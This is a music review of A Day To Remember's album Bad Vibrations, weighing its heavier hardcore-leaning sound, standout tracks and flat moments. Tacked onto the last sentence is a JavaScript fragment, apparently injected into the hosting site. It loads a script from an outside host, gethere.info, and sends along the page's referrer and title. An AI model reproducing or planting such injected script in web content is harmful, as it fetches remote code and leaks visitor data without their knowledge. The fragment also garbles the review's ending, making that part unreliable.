By Fraser Bryce
Rock music is in a state of crisis. Over the years, festivals have become far too reliant on churning out the same seven headliners every year, which, combined with elitist dickheads refusing to accept a band unless they sound like Slayer, has left rock without any truly massive bands. Sure, it’s all well and good while Download can still give Metallica and Iron Maiden a call, but ten years down the line? We’ve got nothing.
Luckily, there are a handful of bands who have been bubbling under the surface, waiting to make the leap into superstardom. A Day To Remember are one of those bands. Since they first appeared on the scene in 2005, A Day To Remember have slowly but surely built themselves up to a bonafide arena band, with an arsenal of colossal pop-punk anthems to boot. So, the band’s sixth album, Bad Vibrations is a real make or break moment in their career.
Stylistically, Bad Vibrations is quite a sizeable leap from the sound of the band’s last few albums. Instead of glossy production and anthemic metal infused pop-punk, the sound on Bad Vibrations is much closer to the band’s hardcore roots, and is a great deal heavier than anything they’ve done since at least 2009’s Homesick. In some cases, it works fabulously; lead single ‘Paranoia’ brims with punk spirit, while ‘Exposed’ seamlessly blends hardcore-influenced beatdowns with nu-metal bounce. Even the songs closer to the A Day To Remember of the last few releases, like the sombre ‘Bullfight’ and the standard ADTR fists in the air anthem ‘We Got This’ are among the best music the band has ever released.
It’s just a shame that the rest of the album is just so joyless. While I understand that A Day To Remember have tried to recapture the more aggressive sound of their first two releases, the fact of the matter is they’re just not that band any more, which leads to songs like ‘Bad Vibrations’ and ‘Turn Off The Radio’ sound a little phoned in and forced. The stripped back production doesn’t work hugely in vocalist Jeremy McKinnon’s favour either, highlighting the weak points of a vocalist who didn’t have much to begin with. Bizarrely, the band choose to end the album with ‘Forgive And Forget’, a syrupy ballad which not only means I get to continue my written war on the pop-punk ballad, but also directly goes against the tone of the rest of the album.
So, as an experiment with a new sound, Bad Vibrations can be considered relatively unsuccessful. Granted, there’s a handful of great tracks on here that will slot well into their live shows, but in many cases A Day To Remember just sound flat and dull. To rather lazily compare them to another huge pop-punk band, I sincerely hope that this is the Warning prior to their American Idiot, because the pieces are there on Bad Vibrations to create a truly monstrous album. Whether or not A Day To Remember manage to fit them together remains to be seen.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;